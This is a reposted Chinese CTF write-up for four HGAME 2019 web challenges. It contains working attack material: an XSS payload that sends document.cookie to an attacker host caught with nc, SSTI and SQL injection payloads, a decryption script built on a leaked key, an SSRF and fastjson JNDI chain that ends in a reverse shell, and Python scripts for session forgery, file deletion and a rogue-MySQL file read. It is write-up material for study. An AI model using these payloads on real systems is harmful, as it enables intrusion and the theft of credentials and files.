HGAME-Week4-Web writeup

来呀!来呀!关注我吧!!

【300pt】happyXss

检测过滤

根据题目叙述 先拿上一次的payload试一下

我们发现网站后台将传入的 <script> 替换成Happy。但是前边和后边的数据并没有被过滤,但是后边的会被当成前边标签的属性,因此尝试修改下前边的数据。

由此可见后台还对一些关键字进行替换

构造payload

经过测试发现并没有对 eval() 函数 和src 属性进行过滤, 但是经过测试及查询发现src属性由于 CSP内容安全策略 无法调用外部脚本。

但是可以使用编码的形式进行绕过 (1)base64编码 eval(atob(内容的base64形式))

(2)ascill码 eval (String.fromCharCode(内容的ascill码形式))

这里直接采用base64编码 进行绕过 构造payload:

<script >eval(atob('这段为payload的base64形式'))</script >

需要base64加密的payload 如下

window.location.href="//xxx.xxx.xxx.xxx:xx/?"+document.cookie

服务器配置

登录服务器以后 使用nc -lnvp 2017 来达到监听2017端口流量。 之后提交我们xss的payload ,经过后台bot访问后,我们服务器的2017端口就可以收到数据反馈。

使用burp POST数据并获取flag

页面有点难用,此时直接尝试burpsuite发包打payload

然后查看服务器,getflag

【300pt】happyPython

打开题目,发现是flask,有注册和登陆功能,尝试发现URL处存在SSTI(服务器模板注入)

经过一番尝试,发现WAF掉了小括号(命令执行的话很多操作会用到),猜测是伪造cookie登陆admin。

使用payload:{{config}} 可以获得secret_key

flask_session参考:[https://www.anquanke.com/post/id/163975

发现可疑参数_id,改为1,然后使用伪造cookie登陆即可获得flag

【300pt】happyPHP

拿到题目,先看一波,功能有登陆,注册。 此时尝试注册登陆,登陆后,发现如下hint。

此时获取到源码,我们可以进行源码审计了。 在看git的时候,切记要看一下历史记录,可能会有新收获

审计源码

该题目是使用 PHP的laravel框架 搭建 部署的。要想灵活审计此类题目,我们需要先了解一下laravel框架的结构。 此时,我们先从routes/web.php开始,也就是从路由开始,先分析一下,一共多少页面,实现了哪些功能 。

Route::get('/', 'StaticPagesController@home')->name('home'); Route::get('/register','UsersController@register')->name('register'); Route::get('/login','UsersController@login')->name('login'); Route::get('/users', 'UsersController@show')->name('users.show'); Route::post('/users', 'UsersController@store')->name('users.store'); Route::post('/login', 'SessionsController@store')->name('login'); Route::get('/logout', 'SessionsController@destroy')->name('logout');

拿第一行来举例,意思是,根目录会发送给StaticPagesController下的home方法进行解析。

在laravel中 ,核心代码在app文件夹内,此时我们从中可以找出StaticPagesController.php。进而分析

<?
class StaticPagesController extends Controller
{
    public function home()
    {
        return view('static_pages/home');
    }
}

可以发现,此时他return了一个view。也就是直接渲染一个模板。模板文件我们可以在/resources/views文件夹内找到。不过暂时我们不对模板文件进行审计。先从路由中的几个方法入手,分析其项目逻辑。在这里就不做过多介绍。

解题

通过对源码的分析,我们可以发现一个可疑的点。如下第25行。

这行语句的意思是,从数据找出一条name=xxx的数据,然后将他的name给我。**

显而易见,这是句废话,而且分析还可以发现,该处没有对单引号进行过滤。

(p.s.在laravel中,有更安全的数据库查询方式,一般是不会使用拼接字符串的。疑点+1)

此时尝试对这个点进行注入。

我们在注册的时候,会为name赋值。此时我们尝试读取admin的email。payload如下。

iiiiaa' union select email from `users` where `name`='admin

注册时name填写payload即可。然后登陆即可发现注入结果。同理可得密码。

email:admin@hgame.com
password:eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

此时发现password是加密后的。我们在回到源码进行分析。可以发现,在注册的时候,他进行了加密。

翻阅资料,以及看config,可以发现它采用AES-256-CBC加密,key在.env文件中(git历史记录有)。然后解密即可。解密脚本如下:

# -*- coding: utf-8 -*-
from Crypto.Cipher import AES
import base64
import json


key = '9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ='
enc = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ=='

enc_obj = json.loads(base64.b64decode(enc))
iv = base64.b64decode(enc_obj['iv'])
value = base64.b64decode(enc_obj['value'])
key = base64.b64decode(key)
PADDING = '\0'
pad_it = lambda s: s+(16 - len(s)%16)*PADDING  

generator = AES.new(key, AES.MODE_CBC, iv)
recovery = generator.decrypt(value)
print recovery.rstrip(PADDING)

# s:16:"9pqfPIer0Ir9UUfR";

最后直接登录即可得到flag。

【600pt】happyJava

分析题目及信息收集

拿到题目真心很懵,研究半天愣是不知道入口在哪。 最后问了一下主办方,才要到一个hint:spring-boot-actuator。 actuator是一个spring-boot监控平台,如果有未授权访问,会泄露很多敏感信息。

http://sc0de.com/2018/09/02/spring-leakage/

尝试对actuator的路径进行扫描后,没有发现。

actuator部署时,可以选择与当前项目不同端口,此时通过扫描端口,可以得到以下信息:

PORT STATE SERVICE 22/tcp open ssh 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap 4444/tcp filtered krb524 6667/tcp filtered irc 9876/tcp open sd 31337/tcp open Elite

然后针对开放端口继续进行扫描。最终发现mappings接口泄露如下信息(路由表):

# url: http://119.28.26.122:9876/mappings

{
    "/webjars/**": {"bean": "resourceHandlerMapping"},
    "/**": {"bean": "resourceHandlerMapping"},
    "/**/favicon.ico": {"bean": "faviconHandlerMapping"},
    "{[/index],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.Index()"
    },
    "{[/you_will_never_find_this_interface],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"
    },
    "{[/secret_flag_here],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"
    },
    "{[/error],methods=[GET]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"
    },
    "{[/error],produces=[text/html]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"
    },
    "{[/error]}": {
        "bean": "requestMappingHandlerMapping",
        "method": "public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"
    }
}

通过对路由表分析,可以发现/youwillneverfindthisinterface以及secretflag_here两个接口。

解题ing

通过实际对两个接口进行访问,分析。可以得出以下结论

  1. /youwillneverfindthis_interface该接口,可能造成ssrf。
  2. /secretflaghere,无法伪造ip绕过,可结合1中的ssrf利用。

然后继续分析第一个接口。通过分析,可以得出,他首先对url进行解析,获取ip,判断ip是否在黑名单中。之后进行对url访问。

此时我们可以通过DNS rebinding来进行ssrf。 简单来说就是,让他在判断ip的时候,将域名解析为正常ip,然后访问时,将ip解析为127.0.0.1。(详见http://www.bendawang.site/2017/05/31/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93/)

此时由于自己尝试自己搭DNS rebinding服务失败,蜜汁尴尬。(

最后无奈,只能通过简单粗暴来解决。

然后burp爆破即可。

解决ing

爆破过程省略,然后继续说哈。 通过ssrf,可以访问到secretflaghere这个接口。提示需要有data参数,构造以下url。

http://119.28.26.122:23333/you_will_never_find_this_interface?url=http://dns.5am3.com:23333/secret_flag_here?data=123

传入data=1234,可以看到返回结果

WoW! Convert JSON to object...OK! Result: 12443

可以知道该接口是一个json的解析接口。考虑到出题人心理。为什么要给这个接口?当然是要考fastjson反序列化啦。

所以嘛,尝试构造即可。 自己做的时候,坑点很多。在这里介绍一下,就不细说了。

  1. 标点符号要经过2次url加密。否则会报waf
  2. 基于TemplateImpl的fastjson的poc无法使用,会报waf

在经过多次尝试后,可以通过基于 JNDI 的 PoC来完成。

详见:https://www.restran.net/2018/10/29/fastjson-rce-notes/#基于-JNDI-的-PoC 这里就不多做介绍了。

最后通过反弹shell,获取到目标靶机shell。读取flag即可。

【600pt】happyGo

分析题目

尝试分析网站,注册登陆后,有一个hint,网站每5分钟重置一次。然后就是有一个上传头像的地方 。此时可以上传任意文件,并且跨目录上传。由于时间太短,不好对源站进行太多的尝试。先down下来源码,自己搭一波环境。

因为对go不太了解,一开始一直在想如何能覆盖源码,或者覆盖模板 。最后肯定是失败的。因为他是先编译后在执行的 。所以没覆盖源码一说。最后审查代码,在main.go中发现session的一些配置。

可以看出,它是将session作为文件,存到了当前的tmp目录下。打开tmp目录。可以看到他的目录结构是。

- tmp
- - 1
- - - a
- - - - 1axxxxx

此时知道了session的存储形式,以及存储结构,我们可以尝试伪造session,来登陆管理员账户。

继续分析,看一下admin都有什么权限。分析代码,可以发现管理员是可以删除用户的。

此时,删除用户,首先会删除用户头像文件,以及数据库中删除该用户。 此时的用户头像文件我们可控。也就是可以任意删除文件。

此时我们可以整理利用链如下: 伪造session登陆管理员 --> 删除某敏感文件

说实话,到这里真的卡住了,最后无奈向主办方求hint。软磨硬泡之下,要到一个连接。 https://lightless.me/archives/read-mysql-client-file.html

还是自己太菜了,看完之后,一声woc。

最终利用链可以分析出来,就是:

伪造session登陆管理员 --> 删除app.conf --> 重新install,写入恶意sql服务器 --> 任意文件读取。

尝试解题

首先,先进行session伪造,在这里不多说了,大家可以分析一下poc。伪造session的poc如下。

# coding:utf-8
import requests
import base64

ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"

req = requests.session()

# register
registerData={
    "username":"ii5am3",
    "password":"123456",
    "confirmpass":"123456",
}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)

# login
loginData={
    "username":"ii5am3",
    "password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

# 获取当前登陆用户的sessionID
sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)

# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)

# 本地搭建环境,登入uid为1的账号,然后获取他的session的文件即可。在这里我给大家
attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")
sessionFiles={
    "uploadname" : (filename, attackSession)
}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newCookie is: PHPSESSID="+ newSession)

此时我们可以通过该session来登入管理员账户。(脚本多试几次,有可能卡在题目环境更新时)

此时可以进行下一步,将user1,也就是你注册的那个用户的头像修改,文件名为../../conf/app.conf 。(其实自己之前尝试过直接覆盖,但是未成功。迷..) 然后再进行删除该用户,此时可以进行重装操作。 最终poc如下(时间太短了,手工肯定不行的。):

# coding:utf-8
import requests
import base64

# req表示user1,此时全程用该一个session
req = requests.session()

ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"
deleteUserURL = host +"/admin/user/del/2"
installURl = host + "/install"

attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")

# register
registerData={
    "username":"ii5am3",
    "password":"123456",
    "confirmpass":"123456",
}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)

# login
loginData={
    "username":"ii5am3",
    "password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)

# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)

sessionFiles={
    "uploadname" : (filename, attackCookie)
}
r = req.post(userinfoURL,files=sessionFiles)

print(r"[+] newSessionID is "+ newSession)

# 修改头像文件链接。

sessionFiles={
    "uploadname" : ("../../conf/app.conf", "12345")
}
r = req.post(userinfoURL,files=sessionFiles)


# 新建一个请求,伪造admin进行删除用户
headers={
    "Cookie":"PHPSESSID="+newSession
}
r = requests.get(deleteUserURL,headers=headers)

# 重新安装环境,将其指向我们的恶意sql服务器。
installData = {
    "host":"1xx.1x9.1xx.x3",
    "port":"2017",
    "username":"hgame",
    "password":"hgame",
    "database":"hgame"
}

r = requests.post(installURl,installData)

# 再次登录,使其再来一次请求。
loginData={
    "username":"ii5am3",
    "password":"123456",
}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)

至此,我们这道题就做完了。再附一个自己用的恶意sql服务器。

https://github.com/allyshka/Rogue-MySql-Server

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab),作者:SourceCode团队

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-02-24

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 某教务管理系统APP逆向分析之协议漏洞

    某大学在使用的一款教务管理系统手机app,为了方便学生查询成绩和选课。我在一次偶然逆向中找到严重漏洞,现在把整个分析流程记录下来。

    安恒网络空间安全讲武堂
  • 一次对认证服务器的渗透测试

    通过实施针对性的渗透测试,发现目标认证网站系统的安全漏洞,保障业务系统安全运行。

    安恒网络空间安全讲武堂
  • 用css绕过同源策略跨域窃取数据

    用css绕过同源策略跨域窃取数据 序言 如果你和我一样无聊,你可能遇到过这种潜在的攻击 -》https://www.w3.org/TR/CSP2/#securi...

    安恒网络空间安全讲武堂
  • 如何把thrift rpc转换为http

    1.由于业务用的rpc框架是thrift,代码也是都是用thrift再写,有一天突然接到个需要前端要用http访问接口的需求,于是花了几天时间把所有的thrif...

    用户5397975
  • CNN更新换代!性能提升算力减半,还即插即用

    Facebook和新加坡国立大学联手提出了新一代替代品:OctConv(Octave Convolution),效果惊艳,用起来还非常方便。

    磐创AI
  • CNN更新换代!性能提升算力减半,还即插即用

    Facebook和新加坡国立大学联手提出了新一代替代品:OctConv(Octave Convolution),效果惊艳,用起来还非常方便。

    量子位
  • 经典重读 | 深度学习方法:卷积神经网络结构变化——Spatial Transformer Networks

    作者 | 大饼博士X 本文具体介绍Google DeepMind在15年提出的Spatial Transformer Networks,相当于在传统的一层Co...

    AI科技大本营
  • AngularDart4.0 指南- 显示数据 顶

    您可以通过将HTML模板中的控件绑定到Angular组件的属性来显示数据。 在这个页面中,您将创建一个包含英雄列表的组件。 您将显示英雄名单的列表,并有条件地...

    南郭先生
  • Python字符串、循环及练习

    Python技术与生活认知的分享
  • 还在用传统卷积吗?Facebook等提出全新卷积操作OctConv

    其中,论文一作陈云鹏现于新加坡国立大学读博士,师从颜水成和冯佳时,两人也是这篇论文的作者。其他作者来自Facebook AI。

    昱良

扫码关注云+社区

领取腾讯云代金券